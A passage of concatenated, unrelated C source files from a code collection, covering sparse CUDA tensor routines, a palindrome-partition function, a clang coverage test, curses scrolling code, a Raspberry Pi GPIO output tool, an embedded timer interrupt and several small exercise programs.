THArgCheck(THCTensor_(nDimension)(state, values) == self->nDimensionV + 1, 3,
"values has incorrect number of dimensions, expected %d, got %d", self->nDimensionV + 1, THCTensor_(nDimension)(state, values));
} else {
THArgCheck(THCIndexTensor_(nDimension)(state, indices) == 0, 2,
"if values is empty, indices must be empty too");
}
THCIndexTensor_(free)(state, self->indices);
THCTensor_(free)(state, self->values);
self->indices = indices;
self->values = values;
self->nnz = empty ? 0 : THCTensor_(size)(state, values, 0);
self->coalesced = 0;
return self;
}
THCSTensor* THCSTensor_(_set)(THCState *state, THCSTensor *self, THCIndexTensor *indices, THCTensor *values) {
// Note: Not like torch.set, this is an internal method
return THCSTensor_(_move)(state, self, THCIndexTensor_(newClone)(state, indices), THCTensor_(newClone)(state, values));
}
/*** end helper methods ***/
/* Empty init */
THCSTensor *THCSTensor_(new)(THCState *state)
{
THCSTensor *self = THAlloc(sizeof(THCSTensor));
THCSTensor_(rawInit)(state, self);
return self;
}
/* Pointer-copy init */
THCSTensor *THCSTensor_(newWithTensor)(THCState *state, THCIndexTensor *indices, THCTensor *values)
{
return THCSTensor_(newWithTensorAndSize)(state, indices, values, NULL);
}
THCSTensor *THCSTensor_(newWithTensorAndSize)(THCState *state, THCIndexTensor *indices, THCTensor *values, THLongStorage *sizes)
{ // If sizes are not given, it is inferred as max index of each dim.
int64_t nDimI, nDimV;
THCSTensor *self = THAlloc(sizeof(THCSTensor));
THCSTensor_(rawInit)(state, self);
nDimI = THCIndexTensor_(size)(state, indices, 0);
nDimV = THCTensor_(nDimension)(state, values) - 1;
if (!sizes) {
// TODO Make it work with N-dimensional values
THArgCheck(nDimV > 0, 3, "size must be provided when nDimV > 0");
THLongTensor *computed_sizes;
THCudaLongTensor *ignore = THCudaLongTensor_new(state);
THCIndexTensor *s = THCIndexTensor_(new)(state);
THCIndexTensor_(max)(state, s, ignore, indices, 1, 1);
THCIndexTensor_(add)(state, s, s, 1);
// TODO make sure this doesn't sync the hell out of everything
// Should be fine according to sam's memory manager.
THLongStorage *newSize = THCIndexTensor_(newSizeOf)(state, s);
computed_sizes = THLongTensor_newWithSize(newSize, NULL);
THLongStorage_free(newSize);
THLongTensor_copyCudaLong(state, computed_sizes, s);
THCSTensor_(rawResize)(state, self, nDimI, nDimV, THLongTensor_data(computed_sizes));
THCIndexTensor_(free)(state, s);
THCudaLongTensor_free(state, ignore);
THLongTensor_free(computed_sizes);
}
else {
THArgCheck(THLongStorage_size(sizes) == nDimI + nDimV, 3,
"number of dimensions must be nDimI + nDimV");
THCSTensor_(rawResize)(state, self, nDimI, nDimV, THLongStorage_data(sizes));
}
// NB: by default, we do NOT clone indices/values into the sparse tensor.
// Efficient API by default!
THCSTensor_(_move)(state, self, THCIndexTensor_(newWithTensor)(state, indices), THCTensor_(newWithTensor)(state, values));
return self;
}
THCSTensor *THCSTensor_(newWithSize)(THCState *state, THLongStorage *size)
{
THCSTensor *self = THAlloc(sizeof(THCSTensor));
THCSTensor_(rawInit)(state, self);
THCSTensor_(rawResize)(state, self, size->size, 0, size->data);
return self;
}
THCSTensor *THCSTensor_(newWithSize1d)(THCState *state, int64_t size0)
{
int64_t size[1] = {size0};
THCSTensor *self = THAlloc(sizeof(THCSTensor));
THCSTensor_(rawInit)(state, self);
THCSTensor_(rawResize)(state, self, 1, 0, size);
return self;
}
THCSTensor *THCSTensor_(newWithSize2d)(THCState *state, int64_t size0, int64_t size1)
{
int64_t size[2] = {size0, size1};
THCSTensor *self = THAlloc(sizeof(THCSTensor));
THCSTensor_(rawInit)(state, self);
THCSTensor_(rawResize)(state, self, 2, 0, size);
return self;
}
THCSTensor *THCSTensor_(newWithSize3d)(THCState *state, int64_t size0, int64_t size1, int64_t size2)
{
int64_t size[3] = {size0, size1, size2};
THCSTensor *self = THAlloc(sizeof(THCSTensor));
THCSTensor_(rawInit)(state, self);
THCSTensor_(rawResize)(state, self, 3, 0, size);
return self;
}
THCSTensor *THCSTensor_(newWithSize4d)(THCState *state, int64_t size0, int64_t size1, int64_t size2, int64_t size3)
{
int64_t size[4] = {size0, size1, size2, size3};
THCSTensor *self = THAlloc(sizeof(THCSTensor));
THCSTensor_(rawInit)(state, self);
THCSTensor_(rawResize)(state, self, 4, 0, size);
return self;
}
THCSTensor *THCSTensor_(newClone)(THCState *state, THCSTensor *self) {
THCSTensor *other = THCSTensor_(new)(state);
THCSTensor_(rawResize)(state, other, self->nDimensionI, self->nDimensionV, self->size);
THCSTensor_(_set)(state, other, self->indices, self->values);
other->nnz = self->nnz;
other->coalesced = self->coalesced;
return other;
}
THCSTensor *THCSTensor_(newTranspose)(THCState *state, THCSTensor *self, int d1, int d2) {
THCSTensor *other = THCSTensor_(newClone)(state, self);
THCSTensor_(transpose)(state, other, d1, d2);
return other;
}
THCTensor *THCSTensor_(newValuesWithSizeOf)(THCState *state, THCTensor *values, int64_t nnz) {
THCTensor *new_values;
if (THCTensor_(nDimension)(state, values) == 0) { // values tensor uninitialized
new_values = THCTensor_(newWithSize1d)(state, nnz);
} else {
THLongStorage *size = THCTensor_(newSizeOf)(state, values);
size->data[0] = nnz;
new_values = THCTensor_(newWithSize)(state, size, NULL);
THLongStorage_free(size);
}
return new_values;
}
/******************************************************************************
* reshaping methods
******************************************************************************/
int THCSTensor_(isSameSizeAs)(THCState *state, const THCSTensor *self, const THCSTensor* src)
{
if (self->nDimensionI != src->nDimensionI || self->nDimensionV != src->nDimensionV)
return 0;
for(int d = 0; d < self->nDimensionI + self->nDimensionV; ++d) {
if(self->size[d] != src->size[d]) {
return 0;
}
}
return 1;
}
int THCSTensor_(isSameSizeAsDense)(THCState *state, const THCSTensor *self, const THCTensor* src)
{
if (self->nDimensionI + self->nDimensionV != src->nDimension)
return 0;
for(int d = 0; d < src->nDimension; ++d) {
if(self->size[d] != src->size[d]) {
return 0;
}
}
return 1;
}
THCSTensor *THCSTensor_(resize)(THCState *state, THCSTensor *self, THLongStorage *size)
{
THCSTensor_(rawResize)(state, self, size->size, 0, size->data);
return self;
}
THCSTensor *THCSTensor_(resizeAs)(THCState *state, THCSTensor *self, THCSTensor *src)
{
if(!THCSTensor_(isSameSizeAs)(state, self, src)) {
THCSTensor_(rawResize)(state, self, src->nDimensionI, src->nDimensionV, src->size);
}
return self;
}
THCSTensor *THCSTensor_(resize1d)(THCState *state, THCSTensor *self, int64_t size0)
{
int64_t size[1] = {size0};
THCSTensor_(rawResize)(state, self, 1, 0, size);
return self;
}
THCSTensor *THCSTensor_(resize2d)(THCState *state, THCSTensor *self, int64_t size0, int64_t size1)
{
int64_t size[2] = {size0, size1};
THCSTensor_(rawResize)(state, self, 2, 0, size);
return self;
}
THCSTensor *THCSTensor_(resize3d)(THCState *state, THCSTensor *self, int64_t size0, int64_t size1, int64_t size2)
{
int64_t size[3] = {size0, size1, size2};
THCSTensor_(rawResize)(state, self, 3, 0, size);
return self;
}
THCSTensor *THCSTensor_(resize4d)(THCState *state, THCSTensor *self, int64_t size0, int64_t size1, int64_t size2, int64_t size3)
{
int64_t size[4] = {size0, size1, size2, size3};
THCSTensor_(rawResize)(state, self, 4, 0, size);
return self;
}
void THCSTensor_(copy)(THCState *state, THCSTensor *self, THCSTensor *src) {
if (self == src) return;
THCSTensor_(rawResize)(state, self, src->nDimensionI, src->nDimensionV, src->size);
THCSTensor_(_set)(state, self, src->indices, src->values);
self->nnz = src->nnz;
self->coalesced = src->coalesced;
}
int THCSTensor_(isCoalesced)(THCState *state, const THCSTensor *self) {
return self->coalesced;
}
void THCSTensor_(free)(THCState *state, THCSTensor *self)
{
if(!self)
return;
if(THAtomicDecrementRef(&self->refcount))
{
THFree(self->size);
THCIndexTensor_(free)(state, self->indices);
THCTensor_(free)(state, self->values);
THFree(self);
}
}
void THCSTensor_(retain)(THCState *state, THCSTensor *self)
{
THAtomicIncrementRef(&self->refcount);
}
int THCSTensor_(checkGPU)(THCState *state, unsigned int nSparseTensors, unsigned int nTensors, ...)
{
/* FIXME: remove this flag after any users stop using it since it is
now superseded by the runtime option */
#ifdef DISABLE_CHECK_GPU
return 1;
#else
int kernelP2PEnabled =
THCState_getKernelPeerToPeerAccessEnabled(state);
int curDev = -1;
unsigned int nDenseTensors = nTensors - nSparseTensors;
THCudaCheck(cudaGetDevice(&curDev));
va_list(args);
va_start(args, nTensors);
int valid = 1;
int sparse = 1;
for (unsigned int i = 0; i < nSparseTensors + nDenseTensors; i++) {
THCSTensor *sparseTensor;
THCTensor *denseTensor;
if (i < nSparseTensors) {
sparseTensor = va_arg(args, THCSTensor*);
if (sparseTensor == NULL) {
continue;
}
} else {
denseTensor = va_arg(args, THCTensor*);
if (denseTensor == NULL) {
continue;
}
}
int tensorDev = i < nSparseTensors ?
THCSTensor_(getDevice)(state, sparseTensor) :
THCTensor_(getDevice)(state, denseTensor);
if (tensorDev == -1) {
/* This tensor does not have GPU memory (empty) */
continue;
}
if (tensorDev != curDev) {
if (kernelP2PEnabled) {
/* Kernel p2p access is allowed */
/* Can `curDev` access `tensorDev` directly? */
if (!THCState_getPeerToPeerAccess(state, curDev, tensorDev)) {
valid = 0;
break;
}
} else {
/* No kernel p2p access allowed */
valid = 0;
break;
}
}
}
va_end(args);
return valid;
#endif // DISABLE_CHECK_GPU
}
void THCTensor_(sparseMask)(THCState *state, THCSTensor *r_, THCTensor *t, THCSTensor *mask) {
THArgCheck(mask->coalesced, 2, "mask is uncoalesced");
THCAssertSameGPU(THCSTensor_(checkGPU)(state, 2, 3, r_, mask, t));
if(!THCSTensor_(isSameSizeAsDense)(state, mask, t)) {
THError("sparseMask operands have incompatible sizes");
}
THCSTensor_(resizeAs)(state, r_, mask);
if (mask->nnz == 0) {
THCSTensor_(zero)(state, r_);
return;
}
THCIndexTensor *maskIndices = THCSTensor_(newIndices)(state, mask);
THCTensor *maskValues = THCSTensor_(newValues)(state, mask);
THCTensor *rValues = THCTensor_(new)(state);
THCTensor_(resizeAs)(state, rValues, maskValues);
THCSTensor_(_move)(state, r_, THCIndexTensor_(newClone)(state, maskIndices), rValues);
r_->coalesced = mask->coalesced;
r_->nnz = mask->nnz;
THCudaLongTensor *indices = THCudaLongTensor_newWithSize1d(state, mask->nnz);
THCudaLongTensor *indicesBuffer = THCudaLongTensor_new(state);
THCudaLongTensor_zero(state, indices);
for (int64_t d = 0; d < mask->nDimensionI; d++) {
THCudaLongTensor_mul(state, indices, indices, mask->size[d]);
THCudaLongTensor_select(state, indicesBuffer, maskIndices, 0, d);
THCudaLongTensor_cadd(state, indices, indices, 1, indicesBuffer);
}
THLongStorage *viewSize = THLongStorage_newWithSize(1 + mask->nDimensionV);
viewSize->data[0] = -1;
for (int64_t d = 0; d < mask->nDimensionV; d++) {
viewSize->data[1 + d] = mask->size[mask->nDimensionI + d];
}
THCTensor *t_view = THCTensor_(newView)(state, t, viewSize);
THCTensor_(indexSelect)(state, rValues, t_view, 0, indices);
THCudaLongTensor_free(state, indices);
THCudaLongTensor_free(state, indicesBuffer);
THLongStorage_free(viewSize);
THCTensor_(free)(state, t_view);
THCIndexTensor_(free)(state, maskIndices);
THCTensor_(free)(state, maskValues);
}
#endif
|
the_stack_data/499506.c | #define min_2(x, y) ({ \
int _x = (x); \
int _y = (y); \
_x < _y ? _x : _y; \
})
int minCut(char* s) {
int i,j;
int len;
int *dp;
int **p;
int ret;
len = strlen(s);
dp = (int *)malloc(sizeof(int) * (len + 1));
p = (int **)malloc(sizeof(int *) * len);
for(i = 0; i < len; ++i){
p[i] = (int *)malloc(sizeof(int) * len);
memset(p[i], 0, sizeof(int) * len);
p[i][i] = 1;
}
dp[len] = -1;
for(i = len-1; i >= 0; --i){
dp[i] = dp[i+1] + 1;
for(j = i+1; j <= len-1; ++j){
if(s[i] == s[j] && (j - i < 2 || p[i+1][j-1])){
p[i][j] = 1;
dp[i] = min_2(dp[i], 1 + dp[j+1]);
}
}
}
ret = dp[0];
free(dp);
for(i = 0; i < len; ++i)
free(p[i]);
free(p);
return ret;
}
|
the_stack_data/137691.c | int foo(int i) { return i + 1; }
int bar(int i) { return i + 2; }
int
main(int argc, char **argv)
{
return (argc > 1 ? foo : bar)(argc);
}
|
the_stack_data/28262354.c | // RUN: %clang_cc1 -fprofile-instrument=clang -fcoverage-mapping -dump-coverage-mapping -emit-llvm-only -main-file-name switchmacro.c %s | FileCheck %s
#define FOO(x) (void)x
// CHECK: foo
int foo(int i) { // CHECK-NEXT: File 0, [[@LINE]]:16 -> {{[0-9]+}}:2 = #0
switch (i) { // CHECK-NEXT: File 0, [[@LINE]]:3 -> {{[0-9]+}}:4 = #1
default: // CHECK-NEXT: File 0, [[@LINE]]:3 -> {{[0-9]+}}:11 = #2
if (i == 1) // CHECK-NEXT: File 0, [[@LINE]]:9 -> [[@LINE]]:15 = #2
return 0; // CHECK-NEXT: File 0, [[@LINE]]:7 -> [[@LINE]]:15 = #3
// CHECK-NEXT: Expansion,File 0, [[@LINE+2]]:5 -> [[@LINE+2]]:8 = (#2 - #3) (Expanded file = 1)
// CHECK-NEXT: File 0, [[@LINE+1]]:8 -> {{[0-9]+}}:11 = (#2 - #3)
FOO(1);
case 0: // CHECK-NEXT: File 0, [[@LINE]]:3 -> [[@LINE+1]]:13 = ((#2 + #4) - #3)
return 2;
// CHECK-NEXT: Expansion,File 0, [[@LINE+2]]:3 -> [[@LINE+2]]:6 = 0
// CHECK-NEXT: File 0, [[@LINE+1]]:6 -> {{[0-9]+}}:11 = 0
FOO(1);
// CHECK-NEXT: File 0, [[@LINE+1]]:3 -> {{[0-9]+}}:11 = #5
label: ;
}
}
// PR26825 - Crash when exiting macro expansion containing a switch
// CHECK: bar
#define START { while (0) { switch (0) {
#define END }}}
void bar() {
START // CHECK: File 0, [[@LINE]]:8 -> [[@LINE+2]]:6
default: ;
END
}
// PR27948 - Crash when handling a switch partially covered by a macro
// CHECK: baz
#define START2 switch (0) default:
void baz() {
for (;;)
START2 return; // CHECK: Expansion,File 0, [[@LINE]]:5 -> [[@LINE]]:11 = #1 (Expanded file = 1)
}
int main(int argc, const char *argv[]) {
foo(3);
return 0;
}
|
the_stack_data/98574363.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char** argv) {
int from, to;
int i;
if (argc < 3) {
printf("from/to required\n");
return 1;
}
from = atoi(argv[1]);
to = atoi(argv[2]);
for (i = from; i <= to; i++) {
if (i % 3 == 0 && i % 5 == 0) {
printf("FizzBuzz\n");
} else if (i % 3 == 0) {
printf("Fizz\n");
} else if (i % 5 == 0) {
printf("Buzz\n");
} else {
printf("%d\n", i);
}
}
return 0;
}
|
the_stack_data/36075514.c | /*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
enum TEST { A, B, C };
int main() {
enum TEST t = B;
return t;
}
|
the_stack_data/40764060.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strcapitalize.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: kchenna <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/09/25 18:04:37 by kchenna #+# #+# */
/* Updated: 2018/09/25 22:53:07 by kchenna ### ########.fr */
/* */
/* ************************************************************************** */
char *ft_strlowcase(char *str)
{
int i;
i = 0;
while (str[i] != '\0')
{
if (str[i] >= 'A' && str[i] <= 'Z')
str[i] += 32;
i++;
}
return (str);
}
char *ft_strcapitalize(char *str)
{
int i;
i = 0;
str = ft_strlowcase(str);
if (str[0] >= 'a' && str[0] <= 'z')
str[0] -= 32;
while (str[i + 1] != '\0')
{
if ((str[i] == ' ' || str[i] == '-'
|| str[i] == '+') && (str[i + 1] >= 'a'
&& str[i + 1] <= 'z'))
{
str[i + 1] -= 32;
}
i++;
}
return (str);
}
|
the_stack_data/1040535.c | #include<stdio.h>
void main()
{
int no1,no2;
printf("Enter the first number:");
scanf("%d",&no1);
printf("\nEnter the second number:");
scanf("%d",&no2);
if (no1==no2)
{
printf("Two numbers are equal");
}
else if(no1>no2)
{
printf("\nThe greatest no is %d",no1);
}
else
printf("\nThe greatest no is %d",no2);
}
|
the_stack_data/14201080.c | /*-
* Copyright (c) 1992, 1993, 1994
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
static char sccsid[] = "@(#)tscroll.c 8.4 (Berkeley) 7/27/94";
#endif /* not lint */
#include "curses.h"
#define MAXRETURNSIZE 64
/*
* Routine to perform scrolling. Derived from tgoto.c in tercamp(3)
* library. Cap is a string containing printf type escapes to allow
* scrolling. The following escapes are defined for substituting n:
*
* %d as in printf
* %2 like %2d
* %3 like %3d
* %. gives %c hacking special case characters
* %+x like %c but adding x first
*
* The codes below affect the state but don't use up a value.
*
* %>xy if value > x add y
* %i increments n
* %% gives %
* %B BCD (2 decimal digits encoded in one byte)
* %D Delta Data (backwards bcd)
*
* all other characters are ``self-inserting''.
*/
char *
__tscroll(cap, n1, n2)
const char *cap;
int n1, n2;
{
static char result[MAXRETURNSIZE];
int c, n, increment = 0;
char *dp;
if (cap == NULL)
goto err;
for (n = n1, dp = result; (c = *cap++) != '\0';) {
if (c != '%') {
*dp++ = c;
continue;
}
switch (c = *cap++) {
case 'n':
n ^= 0140;
continue;
case 'd':
if (n < 10)
goto one;
if (n < 100)
goto two;
/* FALLTHROUGH */
case '3':
*dp++ = (n / 100) | '0';
n %= 100;
/* FALLTHROUGH */
case '2':
two: *dp++ = n / 10 | '0';
one: *dp++ = n % 10 | '0';
n = n2;
if (increment)
n++;
continue;
case '>':
if (n > *cap++)
n += *cap++;
else
cap++;
continue;
case '+':
n += *cap++;
/* FALLTHROUGH */
case '.':
*dp++ = n;
continue;
case 'i':
increment = 1;
n++;
continue;
case '%':
*dp++ = c;
continue;
case 'B':
n = (n / 10 << 4) + n % 10;
continue;
case 'D':
n = n - 2 * (n % 16);
continue;
/*
* XXX
* System V terminfo files have lots of extra gunk.
* The only one we've seen in scrolling strings is
* %pN, and it seems to work okay if we ignore it.
*/
case 'p':
++cap;
continue;
default:
goto err;
}
}
*dp = '\0';
return (result);
err: return("curses: __tscroll failed");
}
|
the_stack_data/57962.c | //
// main.c
// 1015 - Brush (I)
//
// Created by Anirudha on 5/28/14.
// Copyright (c) 2014 Anirudha Paul. All rights reserved.
//
#include <stdio.h>
int main()
{
int a,b,c,d=1,sum;
scanf("%d",&a);
while (a>0)
{
sum=0;
scanf("%d",&b);
while(b>0)
{
scanf("%d",&c);
if(c<0)
{
c=0;
}
sum=sum+c;
b--;
}
printf("Case %d: %d\n",d,sum);
d++;
a--;
}
}
|
the_stack_data/479040.c | /*
M3 -- Meka Robotics Real-Time Control System
Copyright (c) 2010 Meka Robotics
Author: [email protected] (Aaron Edsinger)
M3 is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
M3 is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with M3. If not, see <http://www.gnu.org/licenses/>.
*/
#ifdef USE_TIMER3
#include "timer3.h"
#include "setup.h"
int tmp_cnt;
int irq_cnt;
#ifdef USE_TACTILE_PPS
int pps_trigger;
#endif
void setup_timer3(void)
{
// ToDo: Setup timer3 for Ethercat distributed clock jitter calculation
// The ECAT_TIMER (16 bit timer) runs from 0 to 0xFFFF round and round,
// the ECAT_CAPTURE_REG captures the ECAT_TIMER_REG when the ESC interrupt goes active
irq_cnt=0;
T3CON = 0;
TMR3 = 0x0000;
T3CONbits.TCKPS=T3_TCKPS;
PR3 = (unsigned int)T3_PR3;
_T3IF = 0; //Clear interrupt
T3CONbits.TON = 1; //Start Timer 3
_T3IE = 1; //Enable T3 ints
return;
}
//Every X us
void __attribute__((__interrupt__, no_auto_psv)) _T3Interrupt(void) {
_T3IF = 0;
//Latch encoder timestamp on Rising edge.
#ifdef USE_TIMESTAMP_DC
SetTimestampLatch;
ClrTimestampLatch;
#endif
//ToggleHeartbeatLED();
#if defined USE_ENCODER_VERTX
#if defined M3_MAX2 || defined M3_BMW_A2R1 || defined M3_BMW_A2R2 || defined M3_HEX4_S2R1 || defined M3_BMW_A2R3
step_vertx();
#endif
#endif
#ifdef USE_ADC_SPI
step_adc_spi();
#endif
#if defined USE_ENCODER_QEI
#if defined M3_ELMO_Z1R1 || defined M3_ELMO_B1R1 || defined M3_MAX2_BDC_ARMH || defined M3_MAX2_BDC_ARMH2
step_qei();
#endif
#endif
#ifdef USE_UART
#ifdef M3_FB_DEV_0_0
//Insert UART protocol here ! /////////////////////////////////
#endif
#endif
#if defined USE_LED_RGB
step_led_rgb();
#endif
#if defined USE_LED_MDRV
//if (load_led_mdrv())
// step_led_mdrv();
//load_led_mdrv();
load_led_mdrv();
irq_cnt++;
if (irq_cnt==LEDMDRV_IRQ_PER_TRIGGER)
{
irq_cnt=0;
step_led_mdrv();
}
//ToggleHeartbeatLED();
#endif
#ifdef USE_AS5510
step_as5510();
#endif
#if defined M3_WMA_0_1 || defined M3_BMA_A1R1 || defined M3_DAC_0_1 || defined M3_ELMO_RNA_R0 || defined M3_HMB_H1R1 \
||defined M3_HB2_H2R1_J0J1 || defined M3_HB2_H2R1_J2J3J4 ||defined M3_HB2_H2R2_J0J1 || \
defined M3_HB2_H2R2_J2J3J4 || defined M3_GMB_G1R1 || defined M3_PWR_0_2 || defined M3_PWR_0_3 || \
defined M3_PWR_0_4 || defined M3_DEV || defined M3_MAX2 || defined M3_HEX2_S1R1 || defined M3_BMW_A2R1 || \
defined M3_BMW_A2R2 || defined M3_ELMO_B1R1 || defined M3_PWR_0_5 || defined M3_ELMO_Z1R1 || defined M3_HEX4_S2R1 \
|| defined M3_BMW_A2R3 || defined M3_HB2_H2R3_J0J1 || defined M3_HB2_H2R3_J2J3J4
#ifdef USE_CONTROL
step_control();
#endif
irq_cnt++;
#ifdef USE_TACTILE_PPS
if (irq_cnt==PPS_IRQ_PER_TRIGGER)
{
irq_cnt=0;
pps_trigger=1;
}
#endif
#endif
}
#endif
|
the_stack_data/136519.c | /*******************************************************************************
Raspberry Pi用 GPIO 出力プログラム raspi_gpo
指定したGPIOのポートを出力に設定し、指定した値に変更するためのプログラムです。
使い方：
$ raspi_gpo ポート番号 設定値
使用例：
$ raspi_gpo 4 1 GIPOポート4に1(Hレベル)を出力
$ raspi_gpo 18 0 GIPOポート18に0(Lレベル)を出力
$ raspi_gpo 18 -1 GIPOポート18を非使用に戻す
応答値(stdio)
0 Lレベルを出力完了
1 Hレベルを出力完了
NC 非使用に設定完了(NCまたは-1)
9 エラー(エラー内容はstderr出力)
戻り値
0 正常終了
-1 異常終了
Copyright (c) 2015-2016 Wataru KUNINO
https://bokunimo.net/raspi/
*******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // usleep用
#include <string.h> // strcmp用
#define RasPi_1_REV 2 // 初代Raspberry Pi Tyep B のときのリビジョン
#define RasPi_PORTS 40 // Raspberry Pi GPIO ピン数 初代=26
#define GPIO_RETRY 3 // GPIO 切換え時のリトライ回数
// #define DEBUG // デバッグモード
int main(int argc,char **argv){
FILE *fgpio;
// 012345678901234567890 gpio[20]と[21]にポート番号が入る
char gpio[]="/sys/class/gpio/gpio00/value";
char dir[] ="/sys/class/gpio/gpio00/direction";
int i; // ループ用
int port; // GPIOポート
int value; // 応答値
#if RasPi_1_REV == 1
/* RasPi pin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 */
int pin_ports[]={-1,-1, 0,-1, 1,-1, 4,14,-1,15,17,18,21,-1,22,23,
/* 17 18 19 20 21 22 23 24 25 26 */
-1,24,10,-1, 9,25,11, 8,-1, 7,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1};
#else
/* Pi B Rev1 pin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 */
int pin_ports[]={-1,-1, 2,-1, 3,-1, 4,14,-1,15,17,18,27,-1,22,23,
/* 17 18 19 20 21 22 23 24 25 26 */
-1,24,10,-1, 9,25,11, 8,-1, 7,
/* 27 28 29 30 31 32 33 34 35 36 37 38 39 40 */
-1,-1, 5,-1, 6,12,13,-1,19,16,26,20,-1,21};
#endif
if( argc != 3 ){
fprintf(stderr,"usage: %s port value\n",argv[0]);
printf("9\n");
return -1;
}
/* 第1引数portと第2引数valueの内容確認 */
port = atoi(argv[1]);
if(!strcmp(argv[2],"NC")) value=-1;
else if(!strcmp(argv[2],"LOW")) value=0;
else if(!strcmp(argv[2],"HIGH")) value=1;
else value = atoi(argv[2]);
for(i=0;i<RasPi_PORTS;i++){
if( pin_ports[i] == port ){
#ifdef DEBUG
printf("Pin = %d, Port = %d\n",i+1,port);
#endif
break;
}
}
if( i==RasPi_PORTS || port<0 ){
fprintf(stderr,"Unsupported Port Error, %d\n",port);
printf("9\n");
return -1;
}
if( value<-1 || value>1 ){
fprintf(stderr,"Unsupported Value Error, %d\n",value);
printf("9\n");
return -1;
}
if( value == -1 ){
fgpio = fopen("/sys/class/gpio/unexport","w");
if(fgpio){
fprintf(fgpio,"%d\n",port);
fclose(fgpio);
#ifdef DEBUG
printf("Disabled Port\n");
#else
printf("-1\n");
#endif
return 0;
}else{
fprintf(stderr,"IO Error\n");
printf("9\n");
return -1;
}
}
/* ポート番号の設定 */
gpio[20]='\0';
dir[20]='\0';
sprintf(gpio,"%s%d/value",gpio,port);
sprintf(dir,"%s%d/direction",dir,port);
/* ポート開始処理 */
fgpio = fopen(gpio, "w");
if( fgpio==NULL ){
fgpio = fopen("/sys/class/gpio/export","w");
if(fgpio==NULL ){
fprintf(stderr,"IO Error\n");
printf("9\n");
return -1;
}else{
fprintf(fgpio,"%d\n",port);
fclose(fgpio);
#ifdef DEBUG
printf("Enabled Port\n");
#endif
for(i=0;i<GPIO_RETRY;i++){
fgpio = fopen(dir, "w");
if( fgpio ) break;
usleep(50000);
}
if(i==GPIO_RETRY){
fprintf(stderr,"IO Error %s\n",dir);
printf("9\n");
return -1;
}
fprintf(fgpio,"out\n");
fclose(fgpio);
#ifdef DEBUG
printf("Set Direction to OUT (tried %d)\n",i);
#endif
fgpio = fopen(gpio, "w");
if(fgpio==NULL){
fprintf(stderr,"IO Error %s\n",gpio);
printf("9\n");
return -1;
}
}
}
/* ポート出力処理 */
fprintf(fgpio,"%d\n",value);
fclose(fgpio);
#ifdef DEBUG
printf("%s = ",gpio);
#endif
printf("%d\n",value);
return 0;
}
|
the_stack_data/1068265.c | #include <stdio.h>
#define LOWER 0 /* lower limit of table */
#define UPPER 300 /* upper limit */
#define STEP 20 /* step size */
